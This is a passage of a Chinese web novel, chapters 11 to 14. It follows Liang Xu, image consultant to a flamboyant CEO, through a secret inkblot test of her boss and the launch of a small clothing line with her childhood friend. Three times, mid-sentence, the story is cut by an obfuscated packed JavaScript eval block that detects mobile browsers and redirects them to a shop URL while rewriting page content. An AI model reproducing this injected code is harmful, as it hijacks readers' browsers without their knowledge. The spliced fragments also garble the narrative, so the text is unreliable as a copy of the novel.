梁絮便哈哈哈地笑了,拿了个盐津梅子塞进闺蜜的嘴里,说:“不敢不敢。不瞒你说,我已经对男人没兴趣了。” 方晴扬眉看她,梁絮道:“当然,我对女人也没兴趣。我已经不指望爱情了,有生之年就想多挣点钱,让家人过上好日子,把我的品牌发扬光大,多创造一些就业岗位,为社会做贡献。” 方晴觉得她想得太远了,道:“你自己还有这顿没下顿呢,还想着给别人创造就业岗位。” “理想还是要有的,万一实现了呢。”梁絮肃然道,“远了不说,你就看白小飞那傻孩子,他就指望我养活了。我要是挣不来钱,他就得去相亲了——前阵子他姨妈的同事给他介绍了个胖姑娘,体重有二百斤,年纪轻轻的就有三高,一顿饭吃了俩大肘子。他回来都怀疑人生了,喝醉了哭着问我,他在别人眼里到底是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309954|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么定位。我看着特别心疼,大家都是一起长大的,你说我能不拉他一把吗?” 方晴跟白小飞的关系一般,然而听了他的遭遇,十分同情。 她喝了口茶,说:“那你努力吧。” 梁絮话说到这儿,露出了狐狸尾巴,说:“我倒是想努力呢,就是能力有限。我刚找的这工作吧,虽然待遇不错,但是老板有点怪……我有时候真觉得他这个性格给我开展工作造成了困难。” 方晴说:“怎么个怪法?” 梁絮见她产生了兴趣,便掏出手机,上网搜了几个新闻,把沈钊骚包的衣品展示给了方晴。方晴看了几张照片之后,扑哧一声笑了,说:“哈哈哈他有病吗?穿这样去这么严肃的场合,找削呢?” 梁絮道:“谁说不是呢,一看就是从小没挨过毒打的熊孩子,太嚣张了。” 方晴犯了职业病,沉思道:“他这个情况有点问题,初步考虑是表演型人格障碍,症状表现为喜欢成为人群的中心,性格自我中心,爱穿奇装异服,语言或者肢体动作夸张……” “哦豁,开始了,”梁絮心想,“找她咨询一小时二百块,多套几句话就等于创收了!” 她目露崇拜的目光,看着方晴说:“那怎么解决呢?” “没跟病人谈过,不能直接下定论,得让他本人来一趟才行……”方晴说着,陡然警觉道,“哎,你套我话呢?你该不会是为了这事来找我的吧?” 梁絮被她揭穿了,笑着说:“我这不是为了保住饭碗才来向你求助的嘛。沈钊有个好基友叫李浩,管着我的生杀大权,他让我想办法纠正沈钊这个骚包的毛病,叫他们公司少跟着他丢人。我又管不了他,只能来向你来求助了。” 方晴怜悯地看着人穷志短的梁絮,说:“我不管你有多艰难,蹭知识也是蹭,跟蹭饭没有区别。我希望你能做一个有骨气的独立女性,不要蹭完了男朋友又来蹭闺蜜。” 梁絮笑了,说:“行吧,我付费购买知识。不过他的自尊心很强,不可能过来看病。只能我口述症状,或者想办法偷录一些他的生活状态拿来给你看,这样可以吗?” 方晴说:“可以。” 梁絮抛出了一个至关重要的问题:“能开发/票吗?” 方晴抬眼看她,说:“开发/票不就暴露了?你不是说不能让他知道吗?” 梁絮的脑回路清奇,说:“没事,你给我开成服装,我就说给他买高档内裤了。” “那内裤从哪儿来?”方晴看着她说。 梁絮咬了咬牙,说:“治病重要嘛。内裤什么的,反正穿在里头没人看的见。我上网给他批发一百条高仿的名牌。” 方晴忍着笑答应了。梁絮掏出沈钊给自己的信用卡,说:“帮他建个档案,系统地治疗一下。不过一定得保密,要是让人知道回响的老板有心理问题,股票跌了咱俩都赔不起……算了干脆起个化名吧,当总裁的都狂霸酷炫拽,就叫他沈傲天。” 方晴一秒钟切换工作状态,说:“可以。” 她带着梁絮去了隔壁咨询室,建立了沈傲天的病历档案。她听梁絮描述了病人的状态、性格和生活习惯,然后又上网搜索沈钊的百度百科和各种视频,开始对他进行全方位的观察分析。 专业方面的事,梁絮帮不上忙。她寂寞地托着下巴,无聊地说:“我能做点什么?” 方晴从一个文件夹里抽出几张斑斓的图纸,说:“这个叫墨迹测验,你拿去给他看看,问他能解读出什么来,说什么都行。把他的答案悄悄录下来,拿来给我。” 梁絮看着图片,见上面是一些不规则的墨水流淌痕迹。图案都是对称的,有的像蝴蝶,有的像动物,也有的看半天也看不出个所以然来。 “这太明显了吧?”她说,“他那个人很警觉的,肯定不会配合。” 方晴想了想,上网搜了个墨迹测验的小程序,发给了梁絮,说:“那就找个他心情好的时候,把这个程序给他看。网上这种心理测试的小游戏很多,就当打发时间,骗他做一下。” 梁絮觉得这样能行,便结束了这次心理咨询。方晴给她带上一罐青柑茶,送她出了门,说:“路上小心。” 外头的路灯已经亮起来了。梁絮站在温暖的灯光里,跟闺蜜拥抱了一下,说:“咱们下周见。” 12. 第十二章 回到家时,已经是晚上八点多了。梁絮站在门口打开灯,打开系统检查了一眼,发现自己居然收获了方晴的十点好感值,她拿去兑换了一下,兑出了十分钟,比白小飞的好感能兑换的还要低一点。 不过能找回这个闺蜜,对她来说就是件值得庆祝的事情了,不能事事都这么功利。 梁絮看了一眼自己的生命值,还有二十来天。一方面是她自己刷沈钊的好感度以及日常做任务赚的,另一方面白小飞帮她卖仓库的存货,陆续有进账,赚钱的日常任务时常叮叮直响。 梁絮感觉自己的生活已经步上了正轨,暂时不用特别担心活下去的问题了,认真搞事业才是关键。 她最近被叮叮的声音吵得有点晕,说:“能不能暂时静音?” 系统说:“可以,发布任务的气泡声保留吗?” 梁絮说:“保留。” 系统说:“任务完成音效关闭,好感度提升音效关闭,低生命值警告关闭。” 梁絮打了个寒战,连忙说:“警吿开着。” 系统说:“设置完成。” 白小飞听见她说话的声音,从房间里探头出来说:“怎么回来这么晚?” 梁絮说:“我去找方晴玩了,她送我一罐小青柑,你要尝尝吗?” 白小飞接过罐子,从里头掏了一枚扔进自己的保温杯里,一边说:“你们和好了?我还以为你俩这辈子都不再来往了。” 梁絮说:“之前我脑子不清醒,现在这不是一点点把生活掰回正轨上去嘛。” 白小飞嗯了一声,说:“她人挺好的,你跟她多来往没坏处。” 梁絮路走多了,脚一直疼。她脱了高跟鞋,靠在玄关柜边上抬起脚,小心翼翼地戳了一下自己的大脚趾,嘶地吸了口气。白小飞想去给她做饭,见她脚上的大水泡叠着小水泡,有的瘪了有的破了,有的刚冒头还挺饱满。 他有点心疼,说:“你每天挤公交地铁的,穿什么高跟鞋,弄双运动鞋就行了。” 梁絮说:“我给人做穿搭的,自己不先拾掇齐整了,说话哪有分量啊。反正明后两天休息,养一养就好了。” 白小飞觉得不能凑合,坚持说:“那你带双便鞋藏包里,没人看见的时候就换下来。” 梁絮没心情想这些,挥了挥手说:“再说吧。” 她一瘸一拐地回了屋,用针挑破了水泡,碘伏消毒,拿云南白药对着脚喷了一通,然后躺着不动了。 这种日子虽然疲惫,但是挺充实,让她有种踏实的幸福感。梁絮感觉自己在一步步贯彻重生后的目标,靠自己努力独立生存,每天都过得挺快乐。 次日梁絮不用上班,昏天黑地的睡了个懒觉。她醒来时已经是上午十点多了,白小飞不在家,不知道去哪儿玩了。梁絮打开电脑,把二手网站上已经卖给沈钊的库存商品下架,然后浏览了一下,有人拍下了她的美容仪和一箱减肥代餐粉。还有人问她的鸸鹋蛋是不是受精的,能不能孵出小鸟来,如果运送的过程中破了怎么办。 梁絮翻自己以前的购物记录,发现那是颗受精蛋,本来是打算买来当宠物的。但是她之前拿附赠的灯照了一个星期,一直没什么动静,她觉得可能是被骗了。 她回复道:“亲,那个蛋孵不出来的哦,如果要做大号的水煮蛋还是可以的哦。这边会给您妥善包装好哒,如果遇到不可抗力损坏了的话,这边是不能退款的哦。” 对方顿时就没兴趣了,说:“煮它干什么,我又没这么大的锅,你自己留着吃吧。” 梁絮嘁了一声,把对话窗口关了。她觉得这蛋太难卖了,而且万一运送过程中打破了,又要起纠纷。她不想惹麻烦,干脆把蛋下架了,心想:“等有空做个大号的蛋炒饭好了。” 她到处找蛋找不到,推门进了白小飞的房间,发现他一声招呼没打,悄悄地把蛋挪到他床边去了。鸸鹋蛋放在一个棉垫上,孵化灯照在蛋壳上,泛着墨绿的光。 梁絮笑了,觉得他还挺有爱心的,心想:“还不死心啊。” 这时候门响了,白小飞开门进来。他带了一颗大白菜跟几颗番茄回来,左边咯吱窝下面还夹着个盒子。 梁絮说:“买菜去啦?” 白小飞嗯了一声,把菜放下,把盒子递给梁絮,说:“送你的。” 梁絮打开来一看,是一双白色的软底鞋。他说:“这鞋弯起来可以套在一起,就一个拳头大小,拿袋子一装放包里没分量,随时都能跟高跟鞋换着穿。” 梁絮看着鞋,有些感动。白小飞从昨天就唠叨着让她换鞋,看她懒得动弹,今天干脆直接替她买了。梁絮觉得亲妈也不过这么好了,说:“谢谢你。” 白小飞笑了,说:“谢什么,我就是买菜,看有活动,就顺便……” 他话还没说完,梁絮忽然拥抱了他一下。白小飞的脸迅速红了,身体僵着不敢动。梁絮用力地拍了他后心两下,说:“好兄弟,我给你钱!” 她放开白小飞,转身去拿钱包。白小飞连忙说:“不用了,你过生日我还没送你礼物呢。” 梁絮掏出钱包,发现里头确实没有几张现钞了。她手里拿着几张十块的,有点尴尬。白小飞笑了,说:“等你领了工资再给我钱也行,先这么着了。” 他说着去了厨房,开始扒白菜叶子准备水煮面条。梁絮穿着新鞋原地转了几圈,领情地说:“挺合脚的。” 白小飞说:“合适就行。” 梁絮想起了那个蛋,说:“你把我的鸸鹋蛋拿走了?” 白小飞说:“是啊,我拿手电筒照了一下,见里头有血丝,应该能孵出来吧?” 梁絮对这件事持怀疑态度,不过他想孵就让他孵好了,反正他在家里孤独寂寞冷,有个寄托也挺好的。 梁絮填了地址,把网友要买的东西打包,送到门口的驿站寄了出去。 她回来的时候,白小飞已经把饭做好了。俩人坐在餐桌边,梁絮看着清汤寡水的挂面,忍不住想起了沈钊的自助食堂,感慨其实上班也挺好的,起码可以蹭饭。 日子太穷了,到处都捉襟见肘。梁絮暗暗叹了口气,低头默默吃饭。 白小飞把一碟香肠往她跟前推了推,道:“吃点肉。” 他身上都没有几两肉了,还要让给自己吃。梁絮端起碟子拨给他一半,剩下的拨到了自己碗里,道:“沈钊说我表现不错,取消试用期了,直接按正式员工发工资。” 白小飞的眼前一亮,道:“好事啊,他还挺大方的。” 沈傲天的性格虽然有点二,但对身边的人的确很不错。梁絮道:“等我拿到工资,以后咱俩的饭钱我来出吧。” 白小飞有自己的坚持,道:“还是跟从前一样,饭钱一人出一半。” 梁絮道:“买菜又花不了几个钱,你就别跟我争了,再说做饭的不都是你么。” 白小飞笑了一下,道:“好,那就听你的。” 吃完饭,两人待在家里,难得有片刻安静的时光。梁絮去洗了个澡,窝在沙发里看了一会儿平板,紧张了一个星期的神经渐渐松弛下来,浑身的肌肉也没那么紧绷了。 白小飞从卧室里出来,好像有话说。难得的休息日,他没想好要不要打破这份平静。 “怎么啦?”梁絮看着他道。 白小飞道:“你说要做基本款,我打算把目标瞄准新入职场的女性,设计了一批衬衫和休闲西装,你过来看一下。” 梁絮过去看了,发现白小飞确实挺用功的,定下目标来就开始干活儿。 他设计了几个基本款的衬衫,打底不会出错。裤子也是通勤基本款,有烟管裤,有微喇的,也有休闲型的。西装有修身的,也有宽松型的,设计感打破了西装沉闷的固有形象,让人觉得正装也可以很时尚。 梁絮把设计图看了一遍,觉得挺好的,说:“可以,做个版型,这几天咱们就去挑布,然后上网招几个工人。各个号做一批库存出来。” “这么快?”白小飞诧异地看着她。 “不赶不行啊。”梁絮说,“现在都九月份了,正好是西装衬衫大卖的时候,而且马上就要双十一了。咱们得追上这班车,至少先把名气打出来。” 白小飞意识到接下来的工作应该会比较繁忙,说:“也别太给自己压力,尽力而为吧。” 梁絮笑了笑说:“好。” 白小飞打电话给之前的工人,问她们有没有兴趣回来工作,这回保证按时发工资。以前走了的五个人里,有三个还没找到工作,于是又回来了。梁絮觉得刚起步,没必要招太多人,于是先这样定下来了。 两人当天去了附近的批发市场,花了一下午的时间,选了一批布料。质地有雪纺、法兰绒、棉布、磨毛等,以舒适为主。颜色则多是黑白灰、墨绿、豆沙、浅紫色为主,低调素雅,通勤休闲都很适合。 周日,三个工人陆续回来报到。梁絮和白小飞热情地欢迎了老员工,给她们开了个会,大体说了飞絮改革后的路线,然后把打好了的版交给她们。三个员工脚踩缝纫机,如同仓鼠奋力蹬着跑轮,驰骋在致富的康庄大道上。 重新当回老板的梁絮感觉自己的人生得到了升华,连周一早晨追车的动作都多了几分挥斥方遒的姿态。她冲上公交,挤进地铁,又一溜烟跑进了沈钊的住处。 今天她早到了二十分钟,沈钊正在吃早饭。他见了梁絮,悠闲地冲她招了招手,说:“一起吃点?” 梁絮客气地说:“不了,吃饱了来的。” 沈钊拿餐刀切牛排,修长的手指骨节分明,非常好看。梁絮的注意力从他的手指转移到他盘子里的牛肉上,回忆自己上次吃这么大块的牛排是什么时候的事,一边遗憾他的自助餐厅里怎么没有牛排。 沈钊注意到她目不转睛地看着自己盘子里的食物,一副想吃又不好意思过来的模样。他故意放慢了吃饭的速度,拿叉子叉起牛肉,端详微焦的正面,然后反手端详背面,最后对着嫩红的横截面点头,自言自语道:“三分熟,刚刚好。” 梁絮忍不住吞了一下口水,感觉这个资本家真是太欠揍了,当着吃糠咽菜的穷人炫耀,残忍的令人发指。 不过说实话,人长得好看了,吃个饭也能吃出广告的效果。他不去当明星实在太可惜了……不,明星可能挣的还没有他多,还是做商人比较好。 梁絮看着他好看的脸,脑子的一半被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309955|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的颜值占踞,另外半壁江山的上空则漂浮着一份鲜嫩多汁的牛排。 沈钊看出她馋来了,正经地说:“厨房还有肉,你自己去煎一块儿?” 梁絮为了面子,再次郑重地拒绝:“不了,我昨晚刚吃过,太腻了。” 她为了表现自己不稀罕,还硬生生地挤了个嗝出来。沈钊哈哈哈地笑了,无情地揭穿了她:“赶公交跑的太快,灌进风去了吗?” 梁絮一脸不爽地看着他,觉得这人真是太讨厌了,怪得不得他到现在还是单身。 沈钊吃完了饭,擦嘴站了起来。梁絮给他先做了个面膜,今天她学乖了,直接素着脸来的,抹完了沈钊就跟着抹了自己一脸海藻泥。 敷面膜的过程闲着无聊,两个绿油油的外星人面面相觑,两双贼亮的眼睛从海藻泥中露出来。沈钊说:“今天还做瑜伽吗?” 梁絮觉得研究他心理的好机会来了,掏出手机来说:“瑜伽没什么好玩的,咱们来玩脑筋急转弯好了。” 沈钊觉得这样像高中生似的,有点幼稚。梁絮已经开始念题了:“四根火柴怎么摆一个田字?” 沈钊想都没想,说:“聚在一起,从横截面看就是个田喽。” 梁絮立刻心悦诚服地拍马屁道:“沈总真是太聪明了,我怎么就没想到呢!” 沈钊无聊地说:“有难一点的吗?” 梁絮立刻找出收藏夹里的那个墨迹测验的文章,念道:“以下几张神奇的图由墨水无规律地喷溅而成,根据它解读出什么,能一定程度反映出您的内心哦。” 沈钊有点好奇,接过去看了一下,第一张是个黑色的像面具一样的图。他看了一眼,说:“这是个巫婆的面具,又像恶魔,还有耳朵,牙齿和眼睛,好像在狞笑……” 梁絮悄悄地按下了口袋里的录音笔,开始记录沈傲天的心理测验报告。 沈钊说完了,对梁絮道:“这代表了什么?” 梁絮只好胡诌道:“代表了您对事业很有冲劲,古代的名将兰陵王就是戴着鬼面冲杀战场的嘛。” 沈钊对这个答案很满意,一是显得自己有大将之风,二是因为兰陵王是出了名的美男子。沈傲天一向对自己的外貌很有自信,毫不惭愧地接受了这个马屁。 他又看第二张图,说:“这个……像是女性的生育系统,有对称的卵巢、输卵管和子宫,这真不是医学解剖图吗?反过来看又像肺部的X光片。” 他模仿着医生的诊断书,半开玩笑地说:“肺纹理增多,双侧肋膈角欠锐利。这能证明什么?” 梁絮有点难以回答,想了想说:“这证明了您……医学知识丰富,有当医生的能力。” 沈钊歪了歪头,没说什么,又看第三张图。 他道:“这个像女人的束腰。” 第四张。 “像两只大象面对面坐着,头上顶着两个路障。” 他搔了搔头,觉得这个回答太无厘头了。梁絮凑过去看了一眼,觉得是有点像,点头道:“没关系,这是开放测验,您想到什么是什么。” 第五张。 “像蛾子。” 第六张。 “像十字架上挂了件皮草大衣。” 第七张。 “像两个穿着高跟鞋的双性人,既有女人的胸部又有男性特征,在一个盆里洗手。两个人背后有两个拖着脐带的女婴……这什么乱七八糟的?” 梁絮发现他的解读三句话离不开女人,然而他并不是那种好色之辈,相反的生活十分自律。据她观察,他身边没有女朋友,当然也没有男朋友,很难解释他为什么看到什么都会联想起女性。 沈钊玩够了,把手机递给她,说:“怎么解释?” 梁絮也不知道该怎么解释,一言以蔽之地说:“证明您的心理很健康。” 沈钊便笑了,说:“你怎么知道的?” 梁絮说:“这个我一看就觉得头晕,跟鬼画符似的,您还能坚持着看完,说明您骨骼惊奇,是天选之子。” 沈钊被她逗得哈哈直笑,觉得反正是打发时间,开心最重要,便说:“行吧,我就这么信着了。” 他打开水龙头洗了脸,擦着毛巾坐在旁边,梁絮跟着洗掉了脸上的海藻泥。先过来给沈傲天拍水、涂抹精华液,打圈按摩之后再上一层乳液,动作十分轻柔。 沈钊闭着眼享受,片刻悠悠地感叹了一句话:“女人真是……又可爱,又可怕。” 梁絮顿时起了一层鸡皮疙瘩,觉得这个感慨很有八十年代武侠小说的感觉。 潦倒的杀手坐在小酒馆里,用口袋里最后的几个铜板买一壶酒。喝一口,看着柜台后风情万种的老板娘,欲撩又止地感叹一句:“女人真是,又可爱,又可怕。” 沈钊脸上的乳液完全吸收了,梁絮给他抹了一层防晒霜,提醒他晚上回家要记得洗脸。沈钊心不在焉地嗯了一声,一直在自恋地欣赏着镜子里的自己。 梁絮不知道他眼里的本人是什么样子的,她沉浸在他的气场中体会了一下,大约就是一只猫咪对着镜子变成了一头长满鬃毛的狮子的感觉。当然他本人也很优秀,不过自信得稍显过度了,要不然叫沈傲天呢。 13. 第十三章 上午梁絮去办公室坐班,一路上穿着白小飞送的软底鞋挤地铁,脚上终于不再火烧火燎的疼了,感觉十分贴心。 果然还是亲发小知道疼人。 她挂在地铁的栏杆上,掏出手机上网,打算给小白挑个生日礼物答谢他。 她认真思索白小飞喜欢什么东西,想了良久,居然答不上这个问题。 白小飞一向让着她,什么事都优先考虑她的利益,也不嫌弃跟她一起过穷日子。梁絮越想越觉得自己以前的人生太亏待他了,于是决定以后有钱了,一定得让他过上好日子。 她开完了空头支票,把一个运动手环加到了购物车里,打算等拿到第一个月的工资,立刻给他买礼物。 梁絮进了办公室,今天徐莉莉难得比她早到,正在扫地。梁絮发现沈霸霸亲自认证过的值日表就是好使,居然能指使得动这座大山起来劳动。她坐在办公桌前憋着笑,感慨这种狐假虎威的生活真是太轻松愉快了,以后还得继续抱紧沈霸霸的大腿。 徐莉莉扫完了地,在值日表上签了好几个名,然后坐在办公桌前,开始处理文件。 片刻一个穿西装的年轻男人走了进来,他把公文包放在靠窗的办公桌上,坦然坐下了。 梁絮还以为那个办公桌是多余的,原来是这个男生的。 徐莉莉跟他熟识,立刻说:“小刘,回来啦。” 小刘名叫刘和平,人如其名,性情十分热爱和平。要不是有这样平和的性情,也没办法长久地跟徐莉莉这样的女子和平共处。他是沈钊的私人秘书,前阵子家里有事,请了几天假。刚一回来,就发现办公室多了个人。 他笑了笑,说:“回来了。这位是新同事啊?” 梁絮见他挺和气的,于是站起来跟他握了一下手,客气地说:“你好,我叫梁絮,是沈总的形象顾问。” 小刘恍然大悟,说:“哦我知道了,前阵子李总说要帮沈总找个托尼……呃……” 梁絮便笑了,说:“我不叫Tony,我叫Tracie。形象顾问跟发型设计师还是有区别的。” 小刘见她还挺大度的,有点不好意思地说:“抱歉,我这方面是外行,我挺尊重时尚行业的,感觉特别高大上。” 梁絮客气道:“哪里,你是办公室的前辈,以后还请你多指教。” 两人寒暄了几句,各自回了办公桌前。刘和平开始处理积攒下来的工作,梁絮坐在办公桌前开始混时间。 刘和平是沈钊的随身秘书,也叫总助,负责安排协调他的日程,也经常跟着他出入各种场合。徐莉莉是办公室秘书,处理公司里各部门跟沈钊之间的转接。她一直盼着沈钊给她个二助的名分,然而这些年来沈钊一直撂着没给她升官。 至于梁絮,不属于助理的范畴,大多数时间都闲着,处于日常待机的状态。 她觉得这样的自己坐在这间屋里,有点格格不入,仿佛热带鱼群里混进了一只海星,种族不一样,外形也不一样,根本没办法隐藏自己。 梁絮只能劝自己,分工不一样,自己也没有吃闲饭,大家都是劳动人民,没有什么区别。 然而她不知道,沈钊就是把她当做异类来养的,跟别人不一样不正好么,来来去去的都是热带鱼,眼睛都看出茧子来了。多一只海星,还以为自己没被人发现,总想把自己藏在沙堆里,多可爱。 沈钊透过玻璃窗看秘书室,像是欣赏他养的一缸鱼。热带鱼在忙着工作,海星明显很无聊,啃着一根铅笔,脑袋晃来晃去的,在混日子。 沈钊觉得挺有意思,笑了一下,继续工作了。 梁絮上了一会儿网,十分无聊,觉得这样太浪费她辛苦赚来的时间了。她看左右没人注意到她,去打印机上抽了一沓A4纸过来,拿铅笔做服装设计图。 中午吃完饭,她早早回到办公室,下载了个服装制版软件,在线付了费,然后开始做版型图。 刘和平回来了,见她在电脑上画图纸,自语道:“后领圈……后片吸腰省量=(B-W)/2x0.6=4.8……” 小刘感觉像天书,默默地走开了。 下午班开始了,梁絮闲着没事,依旧打板。 她想着白小飞在工作室应该也在忙,自己能帮他一点是一点,下班之前做几个基本款的图样,用优盘装回去,小白就能少干一天的活儿。 她正画的浑然忘我,忽然感觉气氛有点不对。徐莉莉从电脑前转过头,一脸幸灾乐祸地看着她。小刘则悄悄地对她使眼色,示意她回头。 梁絮透过玻璃墙见总裁办公室里空着,回头一看,沈钊不知道什么时候,悄无声息地站在了她身后,一脸淡定地看她上班时间干私活。 梁絮吓了一跳,脸都白了,说:“您……那个……什么时候来的?” “还挺专心的,”沈钊说,“我看了你有两分钟了,这干嘛呢?” 梁絮心里吐槽他:“你是猫科动物吗,脚下有软垫的,走路一点儿声都没有?” 她站起来说:“我就是想……啊,对,我想亲手给您做一件衣服!” 沈钊平静地听她胡说八道,说:“这么有心,你知道我的尺寸吗?” 梁絮道:“知道!身高185cm,肩宽55,胸围110,腰围……” 她目光迅速扫过沈钊的身体,用经验报出大概的数据,一边祈祷这个门外汉千万不要看懂设计图。 沈钊点了点头,说:“所以你给我做了条裙子?” 梁絮:“……” 屏幕上的连衣裙其实还挺明显的,大裙摆赫然在屏幕正中间,只要不傻都能看出来。梁絮没办法抵赖了,只好低头认错,说:“对不起。” 沈钊说:“上班时间开小差,怎么罚?” 徐莉莉抢答道:“扣二百。” 沈钊点头道:“就这么办吧,给她记上。” 梁絮快哭了,然而也没什么办法。她不想当着徐莉莉丢份,于是强忍悲痛,做出一副不差钱的态度。她关了设计软件,开始对着光秃秃的屏幕发呆。 沈钊说:“干什么,消极抵抗?” 梁絮说:“没有,我就是没事干,待机模式。” 沈钊笑了,说:“还挺委屈?那你去给我买菜吧。” 梁絮觉得自己被他当成了保姆,有点不开心。然而沈钊已经转身走了,她只好乖乖听话去干活。 她买了菜挤地铁回去,送到了沈钊家里,把菜撂在玄关就走了。 她回到家,还在想那二百块钱,后悔早晨没一狠心给小白把礼物买了。现在钱白打水漂了,让她有种割肉的疼痛。 次日一早,她一脸冷漠地去上班。沈钊没像以往一样在屋里等她,而是穿着运动服在门口做热身,压完左腿压右腿。他见了梁絮,好像没事人一样,招呼道:“你来啦。” 梁絮还穿着平底鞋,本来想在门口换好高跟鞋再进去的,没想到被他发现了。沈钊说:“来的正好。包放下,跟我一块儿跑步去。” 梁絮说:“啊,我还得陪跑?” 沈钊说:“是啊,你穿的这鞋可以,跑起来。” 梁絮把包放进屋里,沈钊在院子里原地踏步,活像个等着散步的大金毛。 梁絮考虑到陪他跑步说不定能增加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309956|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点好感度,跟系统兑换出来也不算亏,便答应了。 梁絮穿着西装跟着沈钊在晨风里奔跑,先是沿着小区的景观湖转了一圈,出门又绕着附近的公园转了一遭。俩人跑了半个多小时,梁絮插着腰直喘气,说:“不行了……我、我得歇会儿。” 沈钊不满地说:“你身体素质很一般啊,这样怎么陪练。” 梁絮说:“要不您找李总陪练吧,我胜任不了。” 沈钊挥手说:“他也不跟我跑,嫌我跑得太快。他那个速度跟老年人似的,没劲。” 梁絮从刚才就感觉他像脱缰的野狗一样,跑的异常激情。原来不是自己的错觉,看来别人都受不了他。 梁絮口渴了,想买瓶水喝。她上下口袋摸了一遍,想起包和手机都扔在他家里了。沈钊还挺自觉,从臂包里掏出十块钱,去超市买了两瓶电解质饮料。梁絮接过去喝了,感觉好受了一些。沈钊说:“跑了多少路?” 梁絮没有计步器,沈钊撸起袖子看运动手环,三万步。梁絮来之前追公交车就没少跑,一听说跑了这么多,立刻感觉自己虚脱了。 沈钊说:“你没有计步器?” 梁絮道:“没有。” 沈钊大方地说:“买一个,我给你报销。” 梁絮眼前一亮,顿时感觉昨天被罚掉的那二百块钱带着八百块钱利息回来了。 经过这段时间的接触,沈钊对她的性格已经有了初步的认识,知道她想买山寨货,提醒道:“买个质量好点的,别太抠门。” 梁絮嘴上答应了,决定晚上就去夜市上淘个假的,省下钱来买个真的送给小白。 沈钊又说:“再买双运动鞋,放这边,方便陪跑。干脆把腰包运动服什么的也都备齐了。我一个人跑步太无聊了。” 梁絮觉得天天这么个跑法,自己早晚得成仙。她说:“我实在跟不上您的体力,不跑行吗?” 沈钊说:“不行。” 他说着迈开长腿往回慢跑,梁絮喝完了水扔进垃圾桶,奋力跟上,一边讨价还价地说:“那……就白跑啊?” 沈钊觉得好笑,回头看她,说:“就这么点小事,你还想跟我提条件?” 梁絮跑得上气不接下气,面对金主爸爸,十分卑微地说:“不敢,就是……您看,跑这会儿我早晨吃的油条就消化了,再买一份儿补充能量也得十块钱啊,还有刚喝的那饮料,一瓶也五块钱……” 沈钊面无表情地说:“饮料是我买的。” 梁絮说:“我知道……我就是想跟您讨论一下物品的价值。” 沈钊看她这个锱铢必较的样子,心累地说:“你是金牛座?” 梁絮立刻否认,说:“我是处女座。” 沈钊哦了一声,表情有点微妙。梁絮补充说:“我没有洁癖,抠门是因为最近手头拮据,属于一过性的,其实我本人非常的随和大方……” 沈钊理解地截住话头:“憋说了,钱不会给你加的——” 梁絮被风吹乱的呆毛都因为沮丧而趴下了,沈钊大喘气之后,又给了她个转折。 “作为陪跑的回报,每天上班待机的时候,你可以悄悄地干点私活。” 梁絮一怔,没想到他居然这么善解人意,知道自己最需要什么。这简直就像一块馅饼从天而降,稳稳地糊在了自己的脸上。 沈钊又嘱咐道:“当然劳动纪律是不能破坏的,所以你得聪明点儿,别让人举报了,要不然我也得秉公办事。” 梁絮心花怒放,感觉沈钊这个人也没有看起来那么难相处。她立刻说:“好哒,感谢沈总,我一定不给您添麻烦!” 14. 第十四章 得到了沈钊的特批,梁絮坦然地摸了一天鱼。 下班之前,她把画好的图纸装在优盘里,感觉今天总算没有虚度。下班之后她专门去逛了一圈夜市,在一堆儿童手表里找到了一只高仿的运动手环,黑色,从外表看起来跟大牌没什么区别,功能甚至比大牌还多,不但能记步数、测心率、血压,还能测血脂血糖推算生理期,梁絮对此十分怀疑,但还是花五十块钱买了下来。 她回家的路上就把购物车里的那个正牌的运动手环结账了,要求商家开发/票,并且写张贺卡放在盒子里——发/票是给沈霸霸的,贺卡和礼物是给小白的。 梁絮这么干完之后,感觉自己有点过分,好像在偷婆家的钱补贴自家弟弟。她对此没什么好辩解的,只能诚恳地认识自己的错误,对沈总心怀感激。并且争取每天早睡早起,拿出精气神来陪他跑步,增加自己的服务价值来回报他老人家。 她回到家,工人们已经下班了,白小飞还在工作室里打板。梁絮敲了敲门,道:“你休息吧,版型我已经做好了。” 她把优盘递过去,白小飞插进电脑里,发现里头有十来个衣服裤子的版型,登时笑了。他说:“上班摸鱼啦?好不容易找了个好工作,可别让人抓住开除了。” 梁絮撒谎道:“没事,办公室里就我自己。” 白小飞嗯了一声,梁絮站起来看已经做好了的衬衣,都是日码的,S、M、L、XL都有。梁絮的身材纤细,拿了件M号的白衬衫穿上,对着镜子照了一下,肩膀合适,腰身玲珑,显得既利索又有女性魅力。她抬手动了动,又弯腰试了试,行动自如。白小飞在身后看着她,脸上带着笑意,说:“怎么样?” 梁絮说:“合格了,等会儿包装起来,放仓库去。” 